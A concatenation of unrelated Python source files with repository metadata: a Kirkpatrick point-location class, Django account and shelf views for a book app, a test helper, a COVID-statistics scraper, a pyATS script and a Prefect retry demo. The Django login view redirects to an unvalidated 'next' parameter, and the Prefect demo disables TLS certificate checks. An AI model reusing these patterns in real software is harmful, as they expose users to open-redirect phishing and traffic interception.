self.points[traveler.p2]\n\t\tlocation['p3'] = self.points[traveler.p3]\n\n\t\treturn location\n\n\t# same functionality as locate() function\n\t# however animates the query as triangles transition from coarse to fine\n\tdef animatedLocation(self, q):\n\t\ttraveler = self.root\n\t\t# not inside triangle\n\t\tif (not tools.insideTriangle(self.points[traveler.p1], self.points[traveler.p2], self.points[traveler.p3], q)):\n\t\t\treturn {'inside': False}\n\t\t\t\n\t\t# inside bounding triangle\n\t\t# find triangle\n\t\twhile (not traveler.leaf()):\n\t\t\t# create new graph\n\t\t\tfig = plt.figure()\n\t\t\tax = plt.subplot(111)\n\t\t\t# always draw bounding triangle first\n\t\t\tvertices = [self.points[0], self.points[1], self.points[2], self.points[0]]\n\t\t\tbol = patches.Polygon(vertices, True, fill=False)\n\t\t\tax.add_patch(bol)\n\t\t\tfound = False\n\n\t\t\t# find child triangle is in\n\t\t\tfor child in traveler.children:\n\t\t\t\t# draw triangle containing as filled\n\t\t\t\tif (tools.insideTriangle(self.points[child.p1], self.points[child.p2], self.points[child.p3], q)):\n\t\t\t\t\ttraveler = child;\n\t\t\t\t\tfound = True\n\t\t\t\t\tself._drawPiece(ax, child, True)\n\t\t\t\t# draw other child triangles as unfilled\n\t\t\t\telse:\n\t\t\t\t\ti = 0\n\t\t\t\t\tself._drawPiece(ax, child, False)\n\t\t\tassert (found)\n\n\t\t\t# finally, draw point\n\t\t\tax.plot([q[0]], [q[1]], marker='o', color='k', markersize = 3)\n\t\t\tax.autoscale()\n\t\t\tplt.show()\n\t\t\tassert (found)\n\t\t\n\t\tlocation = {}\n\t\tlocation['inside'] = traveler.inside()\n\t\tlocation['p1'] = self.points[traveler.p1]\n\t\tlocation['p2'] = self.points[traveler.p2]\n\t\tlocation['p3'] = self.points[traveler.p3]\n\t\treturn location\n\n\t# leave up to caller to show\n\tdef _drawPiece(self, ax, piece, filled):\n\t\tvertices = [self.points[piece.p1], self.points[piece.p2], self.points[piece.p3], self.points[piece.p1]]\n\t\tbol = None\n\t\tif filled:\n\t\t\tbol = patches.Polygon(vertices, True, fill=True, fc = 'm', ec = 'k')\n\t\telse:\n\t\t\tbol = patches.Polygon(vertices, True, fill=False)\n\t\tax.add_patch(bol)\n\n\t# draw point on fine graph to show location\n\tdef showPointOnGraph(self, q):\n\t\tself.untouchedG.drawMeWithPoint(q)\n", "repo_name": "onbrian/kirkpatrick-point-location", "sub_path": "Kirkpatrick.py", "file_name": "Kirkpatrick.py", "file_ext": "py", "file_size_in_byte": 8391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Tools.roundPoint", "line_number": 26, "usage_type": "call"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 37, "usage_type": "call"}, {"api_name": "Tools.roundPoint", "line_number": 43, "usage_type": "call"}, {"api_name": "Tools.triangulateRing", "line_number": 52, "usage_type": "call"}, {"api_name": "MyGraph.Piece", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.spatial.Delaunay", "line_number": 57, "usage_type": "call"}, {"api_name": "MyGraph.Piece", "line_number": 60, "usage_type": "call"}, {"api_name": "MyGraph.MyGraph", "line_number": 66, "usage_type": "call"}, {"api_name": "MyGraph.MyGraph", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 117, "usage_type": "call"}, {"api_name": "Tools.triangulatePolygon", "line_number": 156, "usage_type": "call"}, {"api_name": "MyGraph.Piece", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.collections.LineCollection", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.collections", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "Tools.insideTriangle", "line_number": 192, "usage_type": "call"}, {"api_name": "Tools.insideTriangle", "line_number": 200, "usage_type": "call"}, {"api_name": "Tools.insideTriangle", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 230, "usage_type": "name"}, {"api_name": "Tools.insideTriangle", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 267, "usage_type": "name"}]} {"seq_id": "42074219283", "text": "from django.contrib import messages\nfrom django.http import Http404\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse_lazy, reverse\nfrom django.views import View\nfrom django.views.generic import DetailView, FormView, DeleteView, TemplateView\nfrom django.contrib.auth import views as auth_views, forms as auth_forms, mixins as auth_mixins, login\nfrom django.views.decorators.cache import never_cache\nfrom django.utils.decorators import method_decorator\n\nfrom book_app_final.books_app.models import Book\nfrom book_app_final.reviews_app.models import Review\nfrom book_app_final.users_app.forms import SignUpForm, ProfileForm, CustomUserUpdateForm\nfrom book_app_final.users_app.models import Profile, CustomUser, Shelf\n\n\nclass UserRegisterView(FormView):\n template_name = 'user_templates/register_user.html'\n success_url = reverse_lazy('homepage')\n\n def get(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n return redirect('homepage')\n user_form = SignUpForm()\n profile_form = ProfileForm()\n del profile_form.fields['profile_picture']\n context = {\n 'user_form': user_form,\n 'profile_form': profile_form\n }\n\n return render(request, self.template_name, context)\n\n def post(self, request, *args, **kwargs):\n user_form = SignUpForm(request.POST)\n profile_form = ProfileForm(request.POST)\n del profile_form.fields['profile_picture']\n error_message = None\n\n try:\n if user_form.is_valid() and profile_form.is_valid():\n user = user_form.save()\n profile = profile_form.save(commit=False)\n profile.user = user\n profile.is_default_image = True\n profile.save()\n Shelf.objects.create(user=user)\n login(request, user)\n return redirect(self.success_url)\n except Exception as e:\n error_message = \"There was an error registering your account. Please try again.\"\n\n context = {\n 'user_form': user_form,\n 'profile_form': profile_form,\n 'error_message': error_message\n }\n\n return render(request, self.template_name, context)\n\n\nclass UserLoginView(auth_views.LoginView):\n template_name = 'user_templates/login.html'\n\n def dispatch(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n return redirect('homepage')\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['next'] = self.request.GET.get('next')\n return context\n\n def form_valid(self, form):\n login(self.request, form.get_user())\n next_url = self.request.GET.get('next', 'homepage')\n\n return redirect(next_url)\n\n\nclass UserLogoutView(auth_mixins.LoginRequiredMixin, auth_views.LogoutView):\n next_page = 'homepage'\n\n\nclass ProfileView(auth_mixins.LoginRequiredMixin, DetailView):\n model = Profile\n template_name = 'user_templates/profile.html'\n context_object_name = 'profile'\n\n def get_object(self, queryset=None):\n return self.request.user.profile\n\n\nclass ProfileUpdateView(auth_mixins.LoginRequiredMixin, TemplateView):\n template_name = 'user_templates/profile_update.html'\n success_url = reverse_lazy('profile')\n\n def get_object(self, *args, **kwargs):\n return self.request.user.profile\n\n def get_context_data(self, **kwargs):\n data = super(ProfileUpdateView, self).get_context_data(**kwargs)\n if self.request.POST:\n data[\"user_form\"] = CustomUserUpdateForm(self.request.POST, instance=self.request.user)\n data[\"form\"] = ProfileForm(self.request.POST, self.request.FILES, instance=self.request.user.profile)\n else:\n data[\"user_form\"] = CustomUserUpdateForm(instance=self.request.user)\n data[\"form\"] = ProfileForm(instance=self.request.user.profile)\n data[\"profile\"] = self.request.user.profile\n\n return data\n\n def post(self, request, *args, **kwargs):\n context = self.get_context_data()\n user_form = context['user_form']\n profile_form = context['form']\n error_message = None\n\n try:\n if user_form.is_valid() and profile_form.is_valid():\n if 'profile_picture_clear' in request.POST and request.POST['profile_picture_clear'] == 'on':\n profile = request.user.profile\n profile.is_default_image = True\n profile.profile_picture.delete(save=False)\n profile.profile_picture = None\n profile.save()\n else:\n user_form.save()\n profile = profile_form.save(commit=False)\n if 'profile_picture' in request.FILES:\n profile.is_default_image = False\n profile_form.save()\n\n return redirect(self.success_url)\n except Exception as e:\n error_message = \"There was an error updating your profile. Please try again.\"\n\n context['error_message'] = error_message\n return self.render_to_response(context)\n\n\nclass ProfileDeleteView(auth_mixins.LoginRequiredMixin, DeleteView):\n model = CustomUser\n template_name = 'user_templates/delete_user.html'\n success_url = reverse_lazy('homepage')\n\n def get_object(self, queryset=None):\n return self.request.user\n\n def delete(self, request, *args, **kwargs):\n self.object = self.get_object()\n Book.objects.filter(created_by=self.object).delete()\n Review.objects.filter(user=self.object).delete()\n self.object.delete()\n return redirect(self.success_url)\n\n\nclass PasswordChangeView(auth_mixins.LoginRequiredMixin, auth_views.PasswordChangeView):\n template_name = 'user_templates/password_change.html'\n form_class = auth_forms.PasswordChangeForm\n\n def form_valid(self, form):\n response = super().form_valid(form)\n messages.success(self.request, \"Password changed successfully!\")\n\n return response\n\n def get_success_url(self):\n return reverse('update_profile')\n\n\nclass ShelfView(auth_mixins.LoginRequiredMixin, DetailView):\n model = Shelf\n template_name = 'user_templates/user_shelf.html'\n\n def get_object(self, queryset=None):\n return self.request.user.shelf\n\n\nclass AddToShelfView(auth_mixins.LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n error_message = None\n try:\n book = get_object_or_404(Book, id=kwargs['pk'])\n shelf, created = Shelf.objects.get_or_create(user=request.user)\n if shelf.books.count() >= 6:\n messages.error(request, \"You cannot have more than 6 books in your shelf!\")\n return redirect('book_details', pk=book.pk)\n shelf.books.add(book)\n messages.success(request, \"Successfully added a book to the shelf!\")\n except Exception as e:\n error_message = \"There was an error adding the book to the shelf. Please try again.\"\n\n if error_message:\n messages.error(request, error_message)\n\n return redirect('book_details', pk=book.pk)\n\n\n# @method_decorator(never_cache, name='dispatch')\nclass RemoveFromShelfView(auth_mixins.LoginRequiredMixin, View):\n template_name = 'user_templates/delete_book_from_shelf.html'\n\n def get(self, request, *args, **kwargs):\n book = get_object_or_404(Book, pk=self.kwargs.get('pk'))\n context = {'book': book}\n return render(request, self.template_name, context)\n\n def post(self, request, *args, **kwargs):\n shelf = get_object_or_404(Shelf, user=self.request.user)\n book = get_object_or_404(Book, pk=self.kwargs.get('pk'))\n\n if book not in shelf.books.all():\n raise Http404(\"Book not found on your shelf\")\n\n shelf.books.remove(book)\n return redirect('shelf')\n\n\nclass ProfileBooksView(auth_mixins.LoginRequiredMixin, View):\n template_name = 'user_templates/my_books.html'\n\n def get(self, request, *args, **kwargs):\n books = Book.objects.filter(created_by=self.request.user)\n books_with_genres = []\n\n for book in books:\n book_genres = \", \".join([genre.genre_name for genre in book.genres.all()])\n books_with_genres.append({\n 'title': book.title,\n 'image': book.book_image,\n 'description': book.description,\n 'genres': book_genres,\n 'author': book.author,\n 'pk': book.pk,\n })\n\n context = {\n 'books': books_with_genres,\n }\n\n return render(request, self.template_name, context)\n", "repo_name": "azashev/django-project-collection", "sub_path": "book_app_final/book_app_final/users_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.generic.FormView", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.SignUpForm", "line_number": 24, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.ProfileForm", "line_number": 25, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.SignUpForm", "line_number": 35, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.ProfileForm", "line_number": 36, "usage_type": "call"}, {"api_name": "book_app_final.users_app.models.Shelf.objects.create", "line_number": 47, "usage_type": "call"}, {"api_name": "book_app_final.users_app.models.Shelf.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "book_app_final.users_app.models.Shelf", "line_number": 47, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 49, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView", "line_number": 62, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 62, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 76, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 82, "usage_type": "name"}, {"api_name": "django.contrib.auth.views.LogoutView", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 82, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 86, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 86, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 86, "usage_type": "name"}, {"api_name": "book_app_final.users_app.models.Profile", "line_number": 87, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 95, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 95, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 95, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 97, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.CustomUserUpdateForm", "line_number": 105, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.ProfileForm", "line_number": 106, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.CustomUserUpdateForm", "line_number": 108, "usage_type": "call"}, {"api_name": "book_app_final.users_app.forms.ProfileForm", "line_number": 109, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 135, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 143, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 143, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 143, "usage_type": "name"}, {"api_name": "book_app_final.users_app.models.CustomUser", "line_number": 144, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 146, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book.objects.filter", "line_number": 153, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "book_app_final.books_app.models.Book", "line_number": 153, "usage_type": "name"}, {"api_name": "book_app_final.reviews_app.models.Review.objects.filter", "line_number": 154, "usage_type": "call"}, {"api_name": "book_app_final.reviews_app.models.Review.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "book_app_final.reviews_app.models.Review", "line_number": 154, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 156, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 159, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 159, "usage_type": "name"}, {"api_name": "django.contrib.auth.views.PasswordChangeView", "line_number": 159, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 159, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.PasswordChangeForm", "line_number": 161, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.forms", "line_number": 161, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 165, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 165, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 170, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 173, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 173, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 173, "usage_type": "name"}, {"api_name": "book_app_final.users_app.models.Shelf", "line_number": 174, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 181, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 181, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 181, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 185, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book", "line_number": 185, "usage_type": "argument"}, {"api_name": "book_app_final.users_app.models.Shelf.objects.get_or_create", "line_number": 186, "usage_type": "call"}, {"api_name": "book_app_final.users_app.models.Shelf.objects", "line_number": 186, "usage_type": "attribute"}, {"api_name": "book_app_final.users_app.models.Shelf", "line_number": 186, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 188, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 188, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 189, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 191, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 191, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 196, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 196, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 198, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 202, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 202, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 202, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 206, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book", "line_number": 206, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 208, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 211, "usage_type": "call"}, {"api_name": "book_app_final.users_app.models.Shelf", "line_number": 211, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 212, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book", "line_number": 212, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 215, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 218, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 221, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 221, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 221, "usage_type": "name"}, {"api_name": "book_app_final.books_app.models.Book.objects.filter", "line_number": 225, "usage_type": "call"}, {"api_name": "book_app_final.books_app.models.Book.objects", "line_number": 225, "usage_type": "attribute"}, {"api_name": "book_app_final.books_app.models.Book", "line_number": 225, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 243, "usage_type": "call"}]} {"seq_id": "10007084279", "text": "import filecmp\nimport logging\nimport time\nimport unittest\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nfrom config import root_path, set_up_logger\n\n\nclass TestCaseTimer(unittest.TestCase):\n def setUp(self) -> None:\n super().setUp()\n self._started_at = time.time()\n\n def tearDown(self) -> None:\n super().tearDown()\n self._elapsed = time.time() - self._started_at\n\n\nclass TestCaseCompare(TestCaseTimer):\n @classmethod\n def setUpClass(cls,\n io_folder_path: Optional[Union[Path, str]] = 'tests/io',\n in_folder_name: Optional[str] = 'in',\n out_folder_name: Optional[str] = 'out',\n test_path: Optional[Union[Path, str]] = None):\n \"\"\"\n :param io_folder_path: Path to test io folder from project root\n :param in_folder_name: Input folder name\n :param out_folder_name: Output folder name\n :param test_path: Path to test class if specfied, else use class name\n :return:\n \"\"\"\n io_path = root_path().joinpath(io_folder_path)\n if not test_path:\n test_path = cls.__name__\n cls.input_folder = io_path.joinpath(in_folder_name).joinpath(test_path)\n cls.output_folder = (io_path / out_folder_name).joinpath(test_path)\n cls.input_folder.mkdir(parents=True, exist_ok=True)\n cls.output_folder.mkdir(parents=True, exist_ok=True)\n cls.out_file = {}\n cls.exp_file = {}\n cls.in_file = {}\n\n def setUp(self, logging_level: Optional[int] = logging.INFO) -> None:\n super().setUp()\n method_name = self.id().split('.')[-1]\n self.out_file[method_name] = self.output_folder / (method_name + '_out.txt')\n self.exp_file[method_name] = self.output_folder / (method_name + '_exp.txt')\n set_up_logger(self.output_folder, method_name, logging_level)\n self.logger = logging.getLogger(method_name)\n\n def file_compare(self, out_f: Path, exp_f: Path, msg=None):\n if not out_f.exists() or not exp_f.exists():\n raise ValueError(\"Either %s or %s does not exist\" % (str(out_f), str(exp_f)))\n if not out_f.is_file() or not exp_f.is_file():\n raise ValueError(\"Either %s or %s is not a file\" % (str(out_f), str(exp_f)))\n if not msg:\n self.assertTrue(filecmp.cmp(str(out_f), str(exp_f), shallow=False),\n f\"out file {str(out_f)} does not match exp file {str(exp_f)}\")\n else:\n self.assertTrue(filecmp.cmp(str(out_f), str(exp_f), shallow=False), msg)\n\n def file_compare_by_method_id(self, method_id):\n self.file_compare(out_f=self.out_file[method_id], exp_f=self.exp_file[method_id])\n\n def file_compare_default(self):\n method_name = self.id().split('.')[-1]\n self.file_compare(out_f=self.out_file[method_name], exp_f=self.exp_file[method_name])\n", "repo_name": "tringm/TLDB-bak", "sub_path": "tests/test_case.py", "file_name": "test_case.py", "file_ext": "py", "file_size_in_byte": 2916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 24, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 27, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 27, "usage_type": "name"}, {"api_name": "config.root_path", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 46, "usage_type": "attribute"}, {"api_name": "config.set_up_logger", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 52, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "name"}, {"api_name": "filecmp.cmp", "line_number": 60, "usage_type": "call"}, {"api_name": "filecmp.cmp", "line_number": 63, "usage_type": "call"}]} {"seq_id": "5822407235", "text": "import requests\nimport re\nimport json\nimport csv\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36'\n}\n\nwith open('data.csv', mode='a', newline='', encoding='utf-8') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(['area', 'curConfirm', 'curConfirmRelative', 'confirmed', 'crued', 'died'])\n\nurl = 'https://voice.baidu.com/act/newpneumonia/newpneumonia/?from=osari_aladin_banner'\n\n# post 一般需要带有请求体\nresponse = requests.get(url=url, headers=headers)\nhtml_data = response.text\n# print(html_data)\n\njson_str = re.findall('\"component\":\\[(.*)\\],', html_data)[0]\njson_data = json.loads(json_str)\ncaseList = json_data['caseList']\nfor case in caseList:\n area = case['area'] # 省份\n curConfirm = case['curConfirm'] # 确诊人数\n curConfirmRelative = case['curConfirmRelative']\n confirmed = case['confirmed'] # 累计确诊\n crued = case['crued'] # 治愈人数\n died = case['died'] # 死亡人数\n print(area, curConfirm, curConfirmRelative, confirmed, crued, died)\n\n with open('data.csv', mode='a', newline='', encoding='utf-8') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow([area, curConfirm, curConfirmRelative, confirmed, crued, died])\n\n\n", "repo_name": "xiaoxu123195/Reptile_Collection", "sub_path": "疫情数据/数据爬取.py", "file_name": "数据爬取.py", "file_ext": "py", "file_size_in_byte": 1310, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "csv.writer", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 34, "usage_type": "call"}]} {"seq_id": "8242976896", "text": "#!/usr/bin/env python3\n\nfrom genie.testbed import load\nimport json\n\n# Step 0: load the testbed\n#testbed = loader.load(f'./tb.yaml')\ntestbed = load(f'./linux.yaml')\n\n# Step 1: testbed is a dictionary. Extract the device iosxr1\nlinux = testbed.devices[\"vader\"]\n\n# Step 2: Connect to the device\n\nlinux.connect(log_stdout=False)\n\n# Step 3: saving the `show ip interface brief` output in a variable\nps_ef = linux.parse('ps -ef')\n\n# Step 4: print ps -ef\nprint(json.dumps(ps_ef))\n\n# Step 5: disconnect from the device\nlinux.disconnect()", "repo_name": "sacascio/pyATS", "sub_path": "linux.py", "file_name": "linux.py", "file_ext": "py", "file_size_in_byte": 529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "genie.testbed.load", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 21, "usage_type": "call"}]} {"seq_id": "40578848136", "text": "import requests\nfrom prefect import flow\n\n\n@flow(retries=10, log_prints=True)\ndef sometimes_fails():\n status = requests.get(\"https://httpstat.us/Random/200,500\", verify=False)\n if status.status_code >= 400:\n raise Exception()\n print(status.text)\n\n\nif __name__ == \"__main__\":\n sometimes_fails.serve(name=\"sometimes-fails\")\n", "repo_name": "discdiver/pydata-2023", "sub_path": "retries.py", "file_name": "retries.py", "file_ext": "py", "file_size_in_byte": 341, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "prefect.flow", "line_number": 5, "usage_type": "call"}]} {"seq_id": "4920412728", "text": "from math import cos, pi, sqrt, sin\r\nimport numpy as np\r\nfrom scipy.integrate import odeint\r\nimport matplotlib.pyplot as plt\r\nimport sympy\r\nfrom sympy import symbols, diff\r\nimport tqdm \r\n#enter number of proteins followed by x1, y1, a1, x2, y2, a2 and so on\r\ndef r(x, y, x_o, y_o):\r\n return ((x-x_o)**2 + (y-y_o)**2)**0.5\r\n\r\ndef v_x(x, y, a, x_o, y_o, a_o): #setting up dipole functions\r\n k = 1\r\n n_2D = 1\r\n v_1 = -(k/(4*pi*n_2D*r(x, y, x_o, y_o)))*(1 - 2*(((x-x_o)/r(x, y, x_o, y_o))*cos(a_o) + ((y-y_o)/r(x, y, x_o, y_o))*sin(a_o))**2)*(x-x_o)/r(x, y, x_o, y_o) \r\n return v_1\r\n\r\ndef v_y(x, y, a, x_o, y_o, a_o): #setting up dipole functions\r\n k = 1\r\n n_2D = 1\r\n v_2 = -(k/(4*pi*n_2D*r(x, y, x_o, y_o)))*(1 - 2*(((x-x_o)/r(x, y, x_o, y_o))*cos(a_o) + ((y-y_o)/r(x, y, x_o, y_o))*sin(a_o))**2)*(y-y_o)/r(x, y, x_o, y_o) \r\n return v_2 \r\n\r\ndef v_a(x1, y1, a1, x2, y2, a2): #setting up dipole functions\r\n k = 1\r\n n_2D = 1\r\n x, y, a, x_o, y_o, a_o = symbols('x y a x_o y_o a_o', real=True)\r\n v_1 = -(k/(4*pi*n_2D*((x-x_o)**2 + (y-y_o)**2)**0.5))*(1 - 2*(((x-x_o)/((x-x_o)**2 + (y-y_o)**2)**0.5)*sympy.cos(a_o) + ((y-y_o)/((x-x_o)**2 + (y-y_o)**2)**0.5)*sympy.sin(a_o))**2)*(x-x_o)/((x-x_o)**2 + (y-y_o)**2)**0.5 \r\n v_2 = -(k/(4*pi*n_2D*((x-x_o)**2 + (y-y_o)**2)**0.5))*(1 - 2*(((x-x_o)/((x-x_o)**2 + (y-y_o)**2)**0.5)*sympy.cos(a_o) + ((y-y_o)/((x-x_o)**2 + (y-y_o)**2)**0.5)*sympy.sin(a_o))**2)*(y-y_o)/((x-x_o)**2 + (y-y_o)**2)**0.5 \r\n v_3 = diff(v_2, x).subs({x:x1, y:y1, a:a1, x_o:x2, y_o:y2, a_o:a2}) - diff(v_1, y).subs({x:x1, y:y1, a:a1, x_o:x2, y_o:y2, a_o:a2}) #curl of (v1 i + v2 j).k\r\n return v_3\r\n\r\ndef F_i(x, y, a, i): 